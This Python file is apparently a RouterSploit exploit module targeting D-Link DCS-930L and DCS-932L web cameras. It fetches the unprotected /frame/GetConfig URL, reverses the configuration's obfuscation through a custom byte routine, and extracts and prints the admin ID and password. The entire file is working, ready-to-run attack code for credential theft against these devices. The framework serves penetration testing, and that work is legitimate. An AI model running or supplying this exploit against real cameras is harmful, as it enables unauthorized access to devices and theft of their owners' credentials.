import re
from routersploit.core.exploit import *
from routersploit.core.http.http_client import HTTPClient


class Exploit(HTTPClient):
    __info__ = {
        "name": "D-Link DCS Cameras Authentication Bypass",
        "description": "D-Link DCS web cameras allow unauthenticated attackers to obtain the "
                       "configuration of the device remotely. A copy of the device configuration "
                       "can be obtained by accessing unprocteted URL. ",
        "authors": (
            "Roberto Paleari",  # vulnerability discovery
            "Dino Causevic",  # routersploit module
        ),
        "references": (
            "https://www.exploit-db.com/exploits/24442/",
        ),
        "devices": (
            "D-Link DCS-930L, firmware version 1.04",
            "D-Link DCS-932L, firmware version 1.02"
        ),
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(8080, "Target HTTP port")

    def __init__(self):
        self.config_content = None

    def run(self):
        if self.check():
            print_success("Target appears to be vulnerable.")

            admin_id = None
            admin_password = None

            if self.config_content and len(self.config_content):

                for line in self.config_content.split("\n"):
                    line = line.strip()

                    m_groups = re.match(r"AdminID=(.*)", line, re.I | re.M)
                    if m_groups:
                        print_success("Found Admin ID.")
                        admin_id = m_groups.group(1)

                    m_groups = re.match(r'AdminPassword=(.*)', line, re.I | re.M)
                    if m_groups:
                        print_success("Found Admin password.")
                        admin_password = m_groups.group(1)
                        break

                print_table(("AdminId", "Password"), (admin_id, admin_password))

        else:
            print_error("Exploit failed - target seems to be not vulnerable")

    @mute
    def check(self):
        response = self.http_request(
            method="GET",
            path="/frame/GetConfig"
        )

        if response and response.status_code == 200 and len(response.content):
            self.config_content = self._deobfuscate(response.content)

            if self.config_content and any([x in self.config_content for x in ["AdminID=", "AdminPassword="]]):
                return True  # target is vulnerable

        return False  # target is not vulnerable

    def _deobfuscate(self, config):

        def chain(lambdas, value):
            r_chain = None

            for l in lambdas:
                r_chain = value = l(value)

            return r_chain

        arr_c = [chain([
            lambda d: (d + ord('y')) & 0xff,
            lambda d: (d ^ ord('Z')) & 0xff,
            lambda d: (d - ord('e')) & 0xff
        ], t) for t in config]

        arr_c_len = len(arr_c)
        tmp = ((arr_c[arr_c_len - 1] & 7) << 5) & 0xff

        for t in reversed(range(arr_c_len)):

            if t == 0:
                ct = chain([
                    lambda d: (d >> 3) & 0xff,
                    lambda d: (d + tmp) & 0xff
                ], arr_c[t])
            else:
                ct = (((arr_c[t] >> 3) & 0xff) + (((arr_c[t - 1] & 0x7) << 5) & 0xff)) & 0xff

            arr_c[t] = ct

        tmp_str = "".join(map(chr, arr_c))
        ret_str = ""

        if len(tmp_str) % 2 != 0:
            print_error("Config file can't be deobfuscated.")
            return None

        half_str_len = int(len(tmp_str) / 2)
        for i in range(half_str_len):
            ret_str += tmp_str[i + half_str_len] + tmp_str[i]

        return ret_str
